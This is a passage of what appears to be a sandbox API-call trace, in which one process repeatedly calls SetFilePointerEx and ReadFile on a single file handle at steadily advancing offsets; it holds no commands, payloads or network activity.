liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8be, lpOverlapped=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8b6, lpOverlapped=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8ae, lpOverlapped=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.912] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x8a6, lpOverlapped=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x89e, lpOverlapped=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x896, lpOverlapped=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x88e, lpOverlapped=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.913] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x886, lpOverlapped=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x87e, lpOverlapped=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x876, lpOverlapped=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x86e, lpOverlapped=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x866, lpOverlapped=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x85e, lpOverlapped=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x856, lpOverlapped=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.915] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x84e, lpOverlapped=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x846, lpOverlapped=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x83e, lpOverlapped=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x836, lpOverlapped=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.916] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x82e, lpOverlapped=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.917] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x826, lpOverlapped=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.917] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x81e, lpOverlapped=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x816, lpOverlapped=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x80e, lpOverlapped=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x806, lpOverlapped=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.918] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7fe, lpOverlapped=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7f6, lpOverlapped=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7ee, lpOverlapped=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.919] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7e6, lpOverlapped=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7de, lpOverlapped=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7d6, lpOverlapped=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7ce, lpOverlapped=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.920] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7c6, lpOverlapped=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7be, lpOverlapped=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7b6, lpOverlapped=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7ae, lpOverlapped=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x7a6, lpOverlapped=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x79e, lpOverlapped=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x796, lpOverlapped=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.922] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x78e, lpOverlapped=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x786, lpOverlapped=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x77e, lpOverlapped=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x776, lpOverlapped=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.923] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x76e, lpOverlapped=0x0) returned 1 [0252.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x766, lpOverlapped=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, 